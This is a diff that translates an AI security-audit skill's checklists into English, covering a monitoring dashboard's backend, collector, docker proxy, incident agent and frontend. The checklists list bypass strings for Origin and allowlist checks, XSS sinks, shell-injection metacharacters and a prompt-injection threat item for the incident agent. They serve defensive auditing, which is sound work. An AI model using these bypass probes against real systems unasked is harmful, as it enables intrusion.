+- [ ] Cookie flags: `HttpOnly`, `Secure` (and under what conditions it is turned off: check
+ that the default is not insecure), `SameSite`, `Path`, expiry.
+- [ ] Expiry and logout actually delete the session on the server; logout-everywhere works.
+- [ ] **`Origin`/`Sec-Fetch-Site` check** on POST/PUT/PATCH/DELETE: try to bypass it with an
+ `Origin` sharing the prefix (`https://dash.example.com.evil.tld`), a different
+ port/scheme, `Origin: null`, a missing `Origin` + `Sec-Fetch-Site: same-site`, an
+ attacker-controlled `Host` header, `CORS_ORIGINS` with wildcards. Does the check apply
+ to **all** methods and all routes (middleware or per route)? Is there an exemption for
+ collector paths, and can it be abused to bypass the check on a user route?
+- [ ] CORS: `allow_origins` is not `*` together with `allow_credentials=True`; no reflection
+ of an arbitrary `Origin`.
+## 3. Passwords, 2FA, tokens
+
+- [ ] Password hashing: bcrypt/argon2 with a reasonable cost; the 72-byte limit is enforced
+ (rejects, does not truncate); no passwords in logs; changing the password requires the
+ old password (or a fresh session) and invalidates other sessions.
+- [ ] **Timing/account enumeration:** login, reset and registration return the same responses
+ and similar timing for a nonexistent email and a wrong password (dummy hash for
+ nonexistent accounts?).
+- [ ] **Rate limit** (`rate_limit.py`): the key (IP, email) cannot be bypassed by changing
+ headers (`X-Forwarded-For` from an untrusted source), upper/lower case or whitespace in
+ the email, or unicode normalization; memory is bounded (an attacker cannot inflate the
+ structure with millions of keys); do the limits hold with multiple worker processes
+ (per-process in-memory state = effective limit × number of processes)?
+- [ ] **TOTP** (`totp.py`): constant-time comparison; ±1 window; **the ban on reusing the same
+ code is atomic** (unique index/conditional UPDATE, not read-then-write); the per-account
+ and per-address attempt counter is not reset by restarting the password step; the
+ intermediate token (5 min) is single-use, bound to the user, and never valid as a
+ session anywhere.
+- [ ] **Recovery codes:** entropy, hashed, single-use *atomically*, deleted/regenerated when
+ 2FA is disabled.
+- [ ] `secrets_box.py`: Fernet key from the environment; behaviour without a key must not
+ leave secrets in plaintext; a decryption error does not leak details; the key is never
+ logged.
+- [ ] **Server tokens and join tokens:** generated from `secrets`, hashed (SHA-256 is fine for
+ high-entropy tokens), constant-time comparison or lookup by hash, single-use and expiry
+ are **atomic**, the cap on open tokens (20) holds under concurrent requests, deleting a
+ server invalidates its token.
+- [ ] Re-pairing an existing machine (same machine ID) requires `replace: true` on the server,
+ not only in the UI; can another server's credentials be overwritten without it?
+## 4. Inputs sent by the collector (untrusted)
+
+- [ ] Every collector route (register, poll, enroll, ingest, helper events) is rejected when
+ the request did not come through the gate (`X-Collector-Via` /
+ `COLLECTOR_ACCESS=strict`); check that a client cannot send that header itself from the
+ public side (nginx must overwrite/strip it, and the backend must not trust it blindly if
+ the backend is reachable from other containers).
+- [ ] Collector authentication: one token per server; one server's collector cannot write
+ another server's data (`server_id` from the token, not from the request body!).
+- [ ] **Validation:** types, lengths, ranges, strict time parsing, `sha256:` + 64 hex, max 500
+ containers, names ≤128, event limits per check-in and per hour. Look for fields that
+ are stored without sanitizing (fields added later often slip past).
+- [ ] Request body size is limited (nginx `client_max_body_size` **and** Pydantic
+ `max_length`), JSON depth/size, number of list elements.
+- [ ] Idempotency/replay: a repeated check-in does not create duplicate incidents or unbounded
+ table growth. Hostile data cannot "silence" other servers' alerts.
+## 5. Database and injection
+
+- [ ] Every `text(...)`, `execute(f"...")`, `.format`, `%` or string concatenation in SQL: are
+ the values bound as parameters? Dynamic `ORDER BY`, column/metric names and `LIMIT`
+ from the request go only through an **allowlist**.
+- [ ] Container names and mount paths go into incident keys/cache keys: can they collide, or
+ can a separator (`:`, `|`, newline) be injected to merge two incidents?
+- [ ] LIKE queries with user input (escape `%`/`_`), regex from user input (ReDoS; `rules.py`
+ has 593 lines of rules, check which expressions it evaluates and whether that is safe).
+- [ ] **`rules.py`: is anything executed dynamically** (`eval`, `exec`, `compile`, `getattr`
+ with a user-supplied name, `importlib`, string templates with a user-supplied format)?
+ If rules/alerts are user-configurable, what can the configuration express?
+- [ ] Page/`limit` caps, row counts, time ranges on `history`/`stats` (a fixed list of ranges
+ and metrics, bounded cache, keys built from validated values).
+- [ ] Transactions: no state where a failure mid-operation leaves an account without 2FA or a
+ session that survives a password change.
+## 6. Outbound connections (SSRF) and integrations
+
+- [ ] Notification channels (`notify.py`: ntfy, Discord, webhook, email) are configured via
+ the API per user: http(s) scheme only, loopback/link-local/metadata always rejected,
+ private LAN addresses for admins only, check after DNS resolution and connect to the
+ checked address (DNS rebinding), no following redirects, timeout. Check the SMTP path
+ too.
+- [ ] Outgoing message content contains no secrets (tokens, hashes) and no unsanitized
+ third-party strings in a context where they are interpreted (Slack/markdown/HTML/email
+ headers → injection).
+- [ ] No `requests`/`httpx` calls to a URL from the request without the protections above.
+## 7. Configuration, secrets, logging, errors
+
+- [ ] `config.py`/environment: insecure defaults (empty `SECRETS_KEY`,
+ `ALLOW_REGISTRATION=true`, `COLLECTOR_ACCESS` ≠ strict, `DEBUG`, `CORS_ORIGINS=*`). The
+ default must be secure, and anything insecure must require a deliberate change.
+- [ ] Secrets are not written to logs, exceptions or responses (the setup token is printed
+ **on purpose** at startup while there are no accounts; check that it is not printed
+ afterwards). No stack traces or SQL in HTTP responses; no `/docs`/`/openapi.json`
+ exposed on the public side unless intended (check `FastAPI(docs_url=...)` and nginx).
+- [ ] **Log injection:** user and collector strings in logs with newlines/ANSI sequences.
+- [ ] `seed_user.py` and `reset_2fa.py`: no built-in credentials, no printing of passwords,
+ cannot be triggered via the API, do not leave secrets in shell history (arguments).
+- [ ] Startup: the backend does not run with `--reload`/debug in the production image; it runs
+ as an unprivileged user (see the infra checklist).
+## 8. Availability (single-user DoS)
+
+- [ ] Expensive endpoints (statistics, fleet, history, export) have work limits and caching;
+ no unbounded loops over collector-controlled data.
+- [ ] Long-running operations do not block the event loop (synchronous DB/CPU work in an
+ `async def` route blocks every request: one slow request = a stall).
+- [ ] Data growth: tables filled from check-ins have an upper bound or retention; note it if
+ growth is unbounded (known for history rollups).
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/checklist-collector-agent.md b/.claude/skills/security-audit/references/checklist-collector-agent.md
index be9b848..9b7650e 100644
--- a/.claude/skills/security-audit/references/checklist-collector-agent.md
+++ b/.claude/skills/security-audit/references/checklist-collector-agent.md
@@ -1,110 +1,115 @@
-# Kontrolna lista: collector, docker proxy, system helper (`src/collector/**`), incident agent (`src/agent/**`)
-
-Čitaj `collector.py`, `docker_proxy.py`, `system_helper.py` te za agenta `src/agent/` (`tools/`,
-`investigate.py`, `diagnosis.py`, `chat.py`, `masking.py`, `safety.py`, `providers/`, `worker.py`,
-`usage.py`, oba prompta) u cijelosti. Docker proxy i system
-helper drže privilegije: najveća pažnja ide njima.
-
-## 1. Docker proxy (`docker_proxy.py`): drži root-ekvivalent
-
-- [ ] **Bijela lista je doslovna usporedba cijelog request targeta.** Nema dekodiranja,
- normalizacije, `startswith`, regexa bez sidra (`re.match` bez `$`/`fullmatch`), ni
- `in`. Pokušaji zaobilaženja: `?all=1&x=y`, `//containers/json`, `/containers/json/`,
- `%2e`, `;`, `#`, `\`, razmak, tab, `\r\n`, velika/mala slova metode, `HEAD`/`OPTIONS`,
- `GET` s tijelom, `Transfer-Encoding`/`Content-Length` proturječja, HTTP/1.0,
- više zahtjeva na jednoj vezi (pipelining/smuggling), ID kontejnera koji nije hex
- (`../`, `x/exec`).
-- [ ] ID u `/containers/<id>/json` i `/stats` strogo validiran (hex, duljina) *prije*
- prosljeđivanja u Docker. Proxy ne gradi zahtjev prema Dockeru spajanjem neprovjerenog
- stringa.
-- [ ] Proxy **ne prosljeđuje** zaglavlja ni metodu klijenta; zahtjev prema Dockeru gradi sam.
-- [ ] **Filtriranje odgovora:** vraća samo fiksnu listu polja; `Env`, `Labels`, `Mounts`,
- `Config`, `HostConfig`, `Error` ne izlaze. Provjeri i za `/containers/json` i za
- stats (stats ne sadrži tajne, ali provjeri). Nova polja = namjerna promjena + test.
-- [ ] Veličina odgovora/zahtjeva ograničena; timeouti; jedna sporo-čitajuća veza ne blokira
- sve (DoS prema kolektoru); greške Dockera ne vraćaju sirovi tekst.
-- [ ] Unix socket: mode 0660, direktorij/volumen dijeljen **samo** s kolektorom; socket se
- ne stvara u svijetu-zapisivom direktoriju; nema utrke pri `bind`/`chmod` (kratak
- prozor s širim pravima; zadani `umask`).
-- [ ] Nema TCP listenera, nema mreže (`network_mode: none`, vidi infra listu).
-- [ ] Log 403 ne dopušta log injection (sanitiziran request target).
-
-## 2. System helper (`system_helper.py`): privilegiran, izlaz nepouzdan
-
-- [ ] Samo čita (dmesg *read-all*, wtmp), nikad ne piše/briše kernel log.
-- [ ] Parsiranje wtmp-a je binarno: provjeri veličinu zapisa, granice, nepotpun zapis,
- ogroman broj zapisa; čita samo boot/shutdown zapise, ne korisnička imena ni adrese.
-- [ ] Linije kernel loga: fiksni obrasci, reducirano na printable, skraćeno, ograničen broj
- događaja; nema `eval`/`shell`/format stringa s tim sadržajem; regexi bez katastrofalnog
- backtrackinga na 100 kB retku.
-- [ ] Izlazna datoteka: atomarno pisanje (temp + rename), prava, samo u svom volumenu.
-- [ ] Ništa se ne izvršava iz sadržaja; nema `subprocess` s ulazom pod kontrolom napadača
- (i ako postoji poziv, argumenti su lista, bez `shell=True`).
-
-## 3. Collector (`collector.py`, 974 retka): radi na hostu, čita host FS
-
-- [ ] **Čitanje datoteka s hosta:** fiksni popis putanja; `O_NOFOLLOW`; ograničena veličina
- čitanja (1 MB firewall datoteke, helperov izlaz); provjera da je helper izlaz svjež i
- iz tekućeg boota; nema putanja sastavljenih od podataka s hosta ili dashboarda
- (`os.path.join` s apsolutnom putanjom tiho zamjenjuje bazu!). TOCTOU između `stat` i
- `open`.
-- [ ] `/proc/1/net` i ostali parseri: nepotpuno čitanje → "unknown", nikad djelomičan
- rezultat koji bi ports "zatvorio"; ogromne datoteke ne troše memoriju.
-- [ ] **Ono što stiže s dashboarda** (odgovor na register/poll) tretira se nepouzdano: nema
- izvršavanja, nema putanja, nema ciljeva za sondiranje iz odgovora. Mete provjere
- interneta samo iz okoline kolektora (`INFRADECK_CONNECTIVITY_TARGETS`, ≤5, hostname ili
- IPv4), s tvrdim rokom.
-- [ ] Sondiranje: ne šalje podatke, samo TCP connect + DNS; ne može se usmjeriti na
- proizvoljnu metu; ograničenje trajanja kako check-in ne bi visio.
-- [ ] **Pohrana vjerodajnica kolektora** (token servera): datoteka s modom 0600, ne u
- slici, ne u logu, ne u argumentima procesa; kolektor ne ispisuje token pri pogrešci.
-- [ ] Transport: provjera TLS-a ako je HTTPS (ne `verify=False`); kad je običan HTTP unutar
- VPN-a, to je dokumentirano. Nema preusmjeravanja koja bi odnijela `Authorization`
- zaglavlje na drugi host. Timeouti na svim mrežnim pozivima.
-- [ ] Greška jednog uzorka ne ruši cijeli kolektor na način koji ga ušutkava bez traga
- (napadač koji izaziva iznimku "gasi" nadzor?).
-- [ ] `subprocess`, `os.system`, `eval`, `exec`, `pickle`, `yaml.load`: svako pojavljivanje
- pogledaj; argumenti kao lista; nema podataka s hosta u naredbi.
-- [ ] Ograničenja količine prijavljenih podataka (kontejneri, portovi, događaji) na strani
- kolektora, ne samo backenda.
-
+# Checklist: collector, docker proxy, system helper (`src/collector/**`), incident agent (`src/agent/**`)
+
+Read `collector.py`, `docker_proxy.py`, `system_helper.py` and, for the agent, `src/agent/`
+(`tools/`, `investigate.py`, `diagnosis.py`, `chat.py`, `masking.py`, `safety.py`,
+`providers/`, `worker.py`, `usage.py`, both prompts) in full. The docker proxy and the system
+helper hold privileges: they get the most attention.
+
+## 1. Docker proxy (`docker_proxy.py`): holds root-equivalent access
+
+- [ ] **The allowlist is a literal comparison of the whole request target.** No decoding,
+ normalization, `startswith`, unanchored regex (`re.match` without `$`/`fullmatch`), or
+ `in`. Bypass attempts: `?all=1&x=y`, `//containers/json`, `/containers/json/`, `%2e`,
+ `;`, `#`, `\`, space, tab, `\r\n`, upper/lower case method, `HEAD`/`OPTIONS`, `GET`
+ with a body, conflicting `Transfer-Encoding`/`Content-Length`, HTTP/1.0, multiple
+ requests on one connection (pipelining/smuggling), a non-hex container ID (`../`,
+ `x/exec`).
+- [ ] The ID in `/containers/<id>/json` and `/stats` is strictly validated (hex, length)
+ *before* being forwarded to Docker. The proxy does not build the request to Docker by
+ concatenating an unchecked string.
+- [ ] The proxy **does not forward** the client's headers or method; it builds the request to
+ Docker itself.
+- [ ] **Response filtering:** returns only a fixed list of fields; `Env`, `Labels`, `Mounts`,
+ `Config`, `HostConfig`, `Error` never leave. Check both `/containers/json` and stats
+ (stats contain no secrets, but check). New fields = a deliberate change + a test.
+- [ ] Response/request size is limited; timeouts; one slow-reading connection does not block
+ everything (DoS against the collector); Docker errors do not return raw text.
+- [ ] Unix socket: mode 0660, directory/volume shared **only** with the collector; the socket
+ is not created in a world-writable directory; no race on `bind`/`chmod` (a short window
+ with wider permissions; default `umask`).
+- [ ] No TCP listener, no network (`network_mode: none`, see the infra checklist).
+- [ ] The 403 log does not allow log injection (sanitized request target).
+## 2. System helper (`system_helper.py`): privileged, output untrusted
+
+- [ ] Read-only (dmesg *read-all*, wtmp); never writes/clears the kernel log.
+- [ ] wtmp parsing is binary: check record size, bounds, a truncated record, a huge number of
+ records; it reads only boot/shutdown records, not usernames or addresses.
+- [ ] Kernel log lines: fixed patterns, reduced to printable characters, truncated, a capped
+ number of events; no `eval`/shell/format string with that content; regexes without
+ catastrophic backtracking on a 100 kB line.
+- [ ] Output file: atomic write (temp + rename), permissions, only in its own volume.
+- [ ] Nothing is executed from the content; no `subprocess` with attacker-controlled input
+ (and if there is a call, the arguments are a list, no `shell=True`).
+## 3. Collector (`collector.py`, 974 lines): runs on the host, reads the host FS
+
+- [ ] **Reading files from the host:** a fixed list of paths; `O_NOFOLLOW`; capped read size
+ (1 MB firewall file, the helper's output); a check that the helper output is fresh and
+ from the current boot; no paths built from host or dashboard data (`os.path.join` with
+ an absolute path silently replaces the base!). TOCTOU between `stat` and `open`.
+- [ ] `/proc/1/net` and other parsers: an incomplete read → "unknown", never a partial result
+ that would mark ports "closed"; huge files do not exhaust memory.
+- [ ] **What comes from the dashboard** (the register/poll response) is treated as untrusted:
+ no execution, no paths, no probe targets from the response. Internet connectivity
+ check targets come only from the collector's environment
+ (`INFRADECK_CONNECTIVITY_TARGETS`, ≤5, hostname or IPv4), with a hard deadline.
+- [ ] Probing: sends no data, only TCP connect + DNS; cannot be pointed at an arbitrary
+ target; time-limited so the check-in does not hang.
+- [ ] **Storage of the collector's credentials** (server token): a file with mode 0600, not in
+ the image, not in logs, not in process arguments; the collector does not print the
+ token on error.
+- [ ] Transport: TLS verification when using HTTPS (no `verify=False`); when it is plain HTTP
+ inside a VPN, that is documented. No redirects that would carry the `Authorization`
+ header to another host. Timeouts on every network call.
+- [ ] A failure in one sample does not crash the whole collector in a way that silences it
+ without a trace (can an attacker who triggers an exception "turn off" monitoring?).
+- [ ] `subprocess`, `os.system`, `eval`, `exec`, `pickle`, `yaml.load`: inspect every
+ occurrence; arguments as a list; no host data in the command.
+- [ ] Limits on the amount of reported data (containers, ports, events) on the collector
+ side, not only the backend.
## 4. Incident agent (`src/agent/`)
-
-Dokumentirano (`docs/assistant.md`, `docs/agent-investigation.md`, SECURITY.md): agent nema
-shell ni pristup hostu. Ima zatvoren popis read-only alata (`tools/__init__.py`: `server_info`,
-`host_metrics`, `list_containers`, `container_history`, `disk_usage`, `events`,
+
+Documented (`docs/assistant.md`, `docs/agent-investigation.md`, SECURITY.md): the agent has no
+shell and no host access. It has a closed list of read-only tools (`tools/__init__.py`:
+`server_info`, `host_metrics`, `list_containers`, `container_history`, `disk_usage`, `events`,
`compare_to_baseline`, `find_incidents`, `fleet_snapshot`, `check_results`, `network_state`)
-koji čitaju samo bazu Infradecka. Petlja (`investigate.py`) ima budžet poziva, rok i mjesečni
-limit troška. Preporučene naredbe su samo tekst koji `safety.py` provjerava; ništa se ne izvršava.
-
-- [ ] **Alati su doista fiksni:** `run` odbija nepoznato ime, argumenti se provjeravaju prema
- shemi prije čitanja; nema argumenta koji završava u naredbi, putanji, URL-u ili SQL-u
- izvan ORM-a. Rezultat je ograničen (`bounds.py`, `MAX_RESULT_CHARS`) i ne sadrži ništa
- što vide samo admini (IP adrese, korisnici, audit log), jer isti odgovor dobiva svatko.
-- [ ] **Maskiranje:** sve što ide pružatelju (rezultati alata, kontekst incidenta, poruke
- korisnika u chatu, greške u `usage`/`worker`) prolazi `masking.py`. Traži put koji ga
- zaobilazi (novi alat, novo polje, poruka greške pružatelja koja se sprema ili prikazuje).
-- [ ] **Prompt injection:** podaci koji ulaze u kontekst modela (imena kontejnera, događaji,
- greške provjera, tekst korisnika) mogu sadržavati upute. Što najgore model može ako ih
- posluša? (Potrošiti budžet, citirati krive činjenice, preporučiti štetnu naredbu.)
- Provjeri da `check_answer` prihvaća samo ID-eve činjenica iz stvarnih rezultata, da
- `safety.py` hvata destruktivne i skrivene znakove (bidi, zero-width) i da se naredba
- koja briše podatke nikad ne preporučuje.
-- [ ] **Pružatelj i ključ:** ključ šifriran (`secrets_box`), nikad u odgovoru API-ja, logu ni
- audit zapisu; adrese pružatelja fiksne u kodu (korisnik ne može postaviti `base_url`);
- promjena pružatelja, ključa i uključivanje chata traže reauth (lozinka + 2FA).
-- [ ] **Posao u pozadini:** worker (`jobs.py`, `worker.py`) ima ukupni rok i ne može ostaviti
- posao zauvijek u stanju "running"; red u Redisu ne prima nepouzdane podatke kao kod.
-- [ ] **Izlaz modela se ne tretira kao pouzdan:** prikazuje se kao tekst (frontend ne radi
- `dangerouslySetInnerHTML`/neprovjeren markdown s HTML-om), ne ulazi u SQL/naredbe/URL-ove.
-- [ ] **Konverzacije su vezane uz korisnika** (IDOR: čitanje/brisanje tuđih konverzacija
- po ID-u); limit duljine poruke i broja poruka; limit koraka petlje alata i vremena
- (DoS i trošak API-ja); rate limit po korisniku.
-- [ ] API ključ prema LLM pružatelju: iz okoline, ne u logovima, ne u odgovorima, ne u
- konverzacijama koje se pohranjuju ili šalju natrag.
-- [ ] Sistemski prompt ne sadrži tajne (pretpostavi da će ga model prije ili poslije
- ispisati).
-- [ ] Pozivi prema Docker API-ju idu samo kroz proxy (`DOCKER_SOCKET_PATH`); backend ne montira
- `docker.sock`. Provjeri compose i kod.
-- [ ] Agent nema izlaznih veza osim prema pružatelju; obavijesti šalje backend
- (`notify.py`, vidi `checklist-backend.md` §6), a model ne bira odredište ni sadržaj.
+that read only the Infradeck database. The loop (`investigate.py`) has a call budget, a
+deadline and a monthly cost limit. Recommended commands are only text that `safety.py`
+checks; nothing is executed.
+
+- [ ] **The tools really are fixed:** `run` rejects an unknown name, arguments are validated
+ against the schema before reading; no argument ends up in a command, path, URL or SQL
+ outside the ORM. The result is capped (`bounds.py`, `MAX_RESULT_CHARS`) and contains
+ nothing that only admins see (IP addresses, users, audit log), because everyone gets
+ the same answer.
+- [ ] **Masking:** everything sent to the provider (tool results, incident context, user chat
+ messages, errors in `usage`/`worker`) goes through `masking.py`. Look for a path that
+ bypasses it (a new tool, a new field, a provider error message that is stored or
+ displayed).
+- [ ] **Prompt injection:** data entering the model's context (container names, events,
+ check errors, user text) can contain instructions. What is the worst the model can do
+ if it follows them? (Burn the budget, cite false facts, recommend a harmful command.)
+ Check that `check_answer` accepts only fact IDs from real results, that `safety.py`
+ catches destructive and hidden characters (bidi, zero-width), and that a command that
+ deletes data is never recommended.
+- [ ] **Provider and key:** the key is encrypted (`secrets_box`), never in an API response,
+ log or audit record; provider addresses are fixed in code (the user cannot set
+ `base_url`); changing the provider or key, and enabling chat, require reauth
+ (password + 2FA).
+- [ ] **Background jobs:** the worker (`jobs.py`, `worker.py`) has an overall deadline and
+ cannot leave a job in the "running" state forever; the Redis queue does not accept
+ untrusted data as code.
+- [ ] **Model output is not treated as trusted:** it is displayed as text (the frontend does
+ not use `dangerouslySetInnerHTML`/unchecked markdown with HTML), and it never goes into
+ SQL, commands or URLs.
+- [ ] **Conversations are bound to the user** (IDOR: reading/deleting another user's
+ conversations by ID); limits on message length and message count; limits on tool-loop
+ steps and time (DoS and API cost); per-user rate limit.
+- [ ] The API key for the LLM provider: from the environment, not in logs, not in responses,
+ not in conversations that are stored or sent back.
+- [ ] The system prompt contains no secrets (assume the model will print it sooner or later).
+- [ ] Calls to the Docker API go only through the proxy (`DOCKER_SOCKET_PATH`); the backend
+ does not mount `docker.sock`. Check compose and the code.
+- [ ] The agent has no outbound connections except to the provider; notifications are sent
+ by the backend (`notify.py`, see `checklist-backend.md` §6), and the model chooses
+ neither the destination nor the content.
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/checklist-frontend.md b/.claude/skills/security-audit/references/checklist-frontend.md
index aede1d8..c00cd85 100644
--- a/.claude/skills/security-audit/references/checklist-frontend.md
+++ b/.claude/skills/security-audit/references/checklist-frontend.md
@@ -1,82 +1,78 @@
-# Kontrolna lista: frontend (`src/frontend/**`)
-
-Čitaj `src/App.jsx` (velik), `StatisticsPage.jsx`, `FleetStatistics.jsx`,
+# Checklist: frontend (`src/frontend/**`)
+
+Read `src/App.jsx` (large), `StatisticsPage.jsx`, `FleetStatistics.jsx`,
`ContainerStatistics.jsx`, `ServerInsights.jsx`, `charts.jsx`, `distributions.jsx`,
`*Logic.js`, `chartMath.js`, `main.jsx`, `index.html`, `vite.config.js`, `package.json`.
-
+
## 1. XSS
-
-Dashboard prikazuje podatke koje kontrolira napadač (imena kontejnera, putanje mountova,
-poruke događaja, tekst asistenta, imena servera). **Stored XSS u admin kontekstu = preuzimanje
-dashboarda**, pa je ovo glavna stavka.
-
-- [ ] Pretraži: `dangerouslySetInnerHTML`, `innerHTML`, `outerHTML`, `insertAdjacentHTML`,
- `document.write`, `eval`, `new Function`, `setTimeout("string")`, `srcdoc`, `postMessage`
- bez provjere origina. Svako pojavljivanje prati do izvora podatka.
-- [ ] **Markdown/rich tekst** (izlaz asistenta, opisi): koristi li se biblioteka? Je li HTML
- isključen ili sanitiziran (DOMPurify s restriktivnom konfiguracijom)? Linkovi iz
- markdowna filtriraju `javascript:`/`data:`.
-- [ ] **Atributi s URL-om iz podataka:** `href`, `src`, `action`, `formAction`: shema samo
- `http(s)` (i `mailto` ako treba). `target="_blank"` ima `rel="noopener noreferrer"`.
-- [ ] SVG iz podataka (grafovi koji ugrađuju stringove u SVG, `<text>`, `<title>`, `<a>`):
- React escapea tekst, ali provjeri ručno sastavljene SVG stringove i `style` objekte
- s podacima.
-- [ ] CSS injekcija: vrijednosti iz podataka u `style`/`className` konstruiranima iz stringova.
-- [ ] Prototype pollution: spajanje objekata iz JSON-a s kolektora (`Object.assign`, spread
- u ključeve iz podataka, `obj[key] = ...` s ključem iz podataka, `__proto__`).
-
-## 2. Autentikacija i tajne u pregledniku
-
-- [ ] Tokeni/sesije se **ne** drže u `localStorage`/`sessionStorage`/URL-u (sesija je
- HttpOnly kolačić). Provjeri što se sprema u `localStorage` (osjetljivi podaci, tokeni,
- TOTP, recovery kodovi).
-- [ ] Recovery kodovi i TOTP tajna: prikazuju se samo jednom, ne spremaju se u stanje koje
- preživljava navigaciju, ne završavaju u URL-u ni logu konzole (`console.log`).
-- [ ] Nema API ključeva, `SECRETS_KEY`-a ni internih URL-ova ugrađenih u bundle
- (`import.meta.env.VITE_*` je **javno**). Pretraži `VITE_`.
-- [ ] Frontend ne donosi sigurnosne odluke koje backend ne provjerava (skrivanje admin
- gumba nije kontrola pristupa; to pokriva backend lista, ovdje samo zabilježi).
-- [ ] Odjava briše stanje u memoriji; nema keširanja osjetljivih odgovora (nginx/`Cache-Control`
- za API).
-
-## 3. Generiranje naredbi za instalaciju ("Connect a server")
-
-Panel generira naredbu koju korisnik kopira i izvršava na udaljenom stroju. Ona sadrži
-join token i digest slike.
-
-- [ ] Sve vrijednosti u naredbi (token, digest, URL, `COLLECTOR_BIND`, ime) su **validirane ili
- citirane za ljusku**. Vrijednost s `;`, `$(...)`, `` ` ``, `'`, novim redom ili razmakom
- ne smije izaći iz navodnika. Provjeri odakle vrijednosti dolaze (konfiguracija
- dashboarda, odgovor API-ja) i kako se spajaju u string.
-- [ ] Naredba ne koristi `curl | sh` ni nepinirane slike; digest je obavezan, a prikaz
- jasno razlikuje što korisnik izvršava.
-- [ ] Token se prikazuje jednom, ima vidljiv istek, a "Kopiraj" ne ostavlja ga u povijesti
- stanja.
-
-## 4. Mrežne pozivne točke i CSRF
-
-- [ ] `fetch` pozivi za mijenjanje stanja šalju kolačić (`credentials`) samo prema vlastitom
- originu; nema poziva prema proizvoljnim URL-ovima iz podataka.
-- [ ] Nema otvorenog preusmjeravanja (`window.location = param`), nema `redirect`/`next`
- parametra bez provjere da je relativan put.
-- [ ] Rukovanje greškama ne ispisuje stack/tajne korisniku; odgovori API-ja koji sadrže
- tuđe stringove prikazuju se kao tekst.
-
-## 5. CSP i build
-
-- [ ] Frontend radi pod strogim CSP-om bez `unsafe-inline` za skripte (nema inline `<script>`
- u `index.html`, nema `eval` u bundle-u). Novi izvori koji traže proširenje CSP-a
- moraju biti dokumentirani.
-- [ ] `vite.config.js`: dev proxy/`server.host` ne izlaže dev server; `build.sourcemap` u
- produkciji isključen ili namjeran; nema `define` s tajnama.
-- [ ] `index.html`: bez vanjskih skripti/fontova bez SRI-ja; bez inline handlera.
-- [ ] Ovisnosti (`package.json`): neobične ili nepotrebne, `postinstall` skripte; vidi infra
- listu za audit alate.
-
-## 6. Dostupnost kao sigurnost
-
-- [ ] Renderiranje ne pada ni ne zamrzava preglednik na hostilnim podacima: vrlo dugi
- stringovi, tisuće kontejnera, `NaN`/`Infinity`/negativni brojevi u grafovima
- (`chartMath.js`, `fleetLogic.js`, `containerLogic.js`), prazni nizovi, nepoznata polja.
- Pad cijele aplikacije zbog jednog loše oblikovanog zapisa = napadač s kolektorom može
- onesposobiti dashboard.
+
+The dashboard displays attacker-controlled data (container names, mount paths, event
+messages, assistant text, server names). **Stored XSS in an admin context = dashboard
+takeover**, so this is the main item.
+
+- [ ] Search for: `dangerouslySetInnerHTML`, `innerHTML`, `outerHTML`, `insertAdjacentHTML`,
+ `document.write`, `eval`, `new Function`, `setTimeout("string")`, `srcdoc`,
+ `postMessage` without an origin check. Trace every occurrence back to the data source.
+- [ ] **Markdown/rich text** (assistant output, descriptions): is a library used? Is HTML
+ disabled or sanitized (DOMPurify with a restrictive configuration)? Links from markdown
+ filter out `javascript:`/`data:`.
+- [ ] **URL attributes from data:** `href`, `src`, `action`, `formAction`: `http(s)` scheme
+ only (plus `mailto` if needed). `target="_blank"` has `rel="noopener noreferrer"`.
+- [ ] SVG from data (charts that embed strings in SVG, `<text>`, `<title>`, `<a>`): React
+ escapes text, but check hand-built SVG strings and `style` objects with data.
+- [ ] CSS injection: data values in `style`/`className` built from strings.
+- [ ] Prototype pollution: merging objects from collector JSON (`Object.assign`, spread into
+ keys from data, `obj[key] = ...` with a key from data, `__proto__`).
+## 2. Authentication and secrets in the browser
+
+- [ ] Tokens/sessions are **not** kept in `localStorage`/`sessionStorage`/the URL (the session
+ is an HttpOnly cookie). Check what is stored in `localStorage` (sensitive data, tokens,
+ TOTP, recovery codes).
+- [ ] Recovery codes and the TOTP secret: shown only once, not stored in state that survives
+ navigation, never end up in the URL or the console log (`console.log`).
+- [ ] No API keys, `SECRETS_KEY` or internal URLs baked into the bundle
+ (`import.meta.env.VITE_*` is **public**). Search for `VITE_`.
+- [ ] The frontend makes no security decisions that the backend does not check (hiding an
+ admin button is not access control; the backend checklist covers that, here just note
+ it).
+- [ ] Logout clears in-memory state; sensitive responses are not cached (nginx/`Cache-Control`
+ for the API).
+## 3. Generating install commands ("Connect a server")
+
+The panel generates a command that the user copies and runs on a remote machine. It
+contains the join token and the image digest.
+
+- [ ] Every value in the command (token, digest, URL, `COLLECTOR_BIND`, name) is **validated
+ or shell-quoted**. A value containing `;`, `$(...)`, `` ` ``, `'`, a newline or a space
+ must not break out of the quotes. Check where the values come from (dashboard
+ configuration, API response) and how they are concatenated into the string.
+- [ ] The command does not use `curl | sh` or unpinned images; the digest is mandatory, and
+ the display makes it clear what the user is running.
+- [ ] The token is shown once, has a visible expiry, and "Copy" does not leave it in state
+ history.
+## 4. Network call sites and CSRF
+
+- [ ] State-changing `fetch` calls send the cookie (`credentials`) only to the app's own
+ origin; no calls to arbitrary URLs taken from data.
+- [ ] No open redirect (`window.location = param`), no `redirect`/`next` parameter without a
+ check that it is a relative path.
+- [ ] Error handling does not show stack traces/secrets to the user; API responses containing
+ third-party strings are displayed as text.
+## 5. CSP and build
+
+- [ ] The frontend works under a strict CSP without `unsafe-inline` for scripts (no inline
+ `<script>` in `index.html`, no `eval` in the bundle). New sources that require widening
+ the CSP must be documented.
+- [ ] `vite.config.js`: the dev proxy/`server.host` does not expose the dev server;
+ `build.sourcemap` is off in production or intentional; no `define` with secrets.
+- [ ] `index.html`: no external scripts/fonts without SRI; no inline handlers.
+- [ ] Dependencies (`package.json`): unusual or unnecessary ones, `postinstall` scripts; see
+ the infra checklist for audit tools.
+## 6. Availability as security
+
+- [ ] Rendering does not crash or freeze the browser on hostile data: very long strings,
+ thousands of containers, `NaN`/`Infinity`/negative numbers in charts (`chartMath.js`,
+ `fleetLogic.js`, `containerLogic.js`), empty arrays, unknown fields. A whole-app crash
+ caused by one malformed record = an attacker with a collector can disable the
+ dashboard.
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/checklist-infra.md b/.claude/skills/security-audit/references/checklist-infra.md
index f1f102b..138e997 100644
--- a/.claude/skills/security-audit/references/checklist-infra.md
+++ b/.claude/skills/security-audit/references/checklist-infra.md
@@ -1,130 +1,140 @@
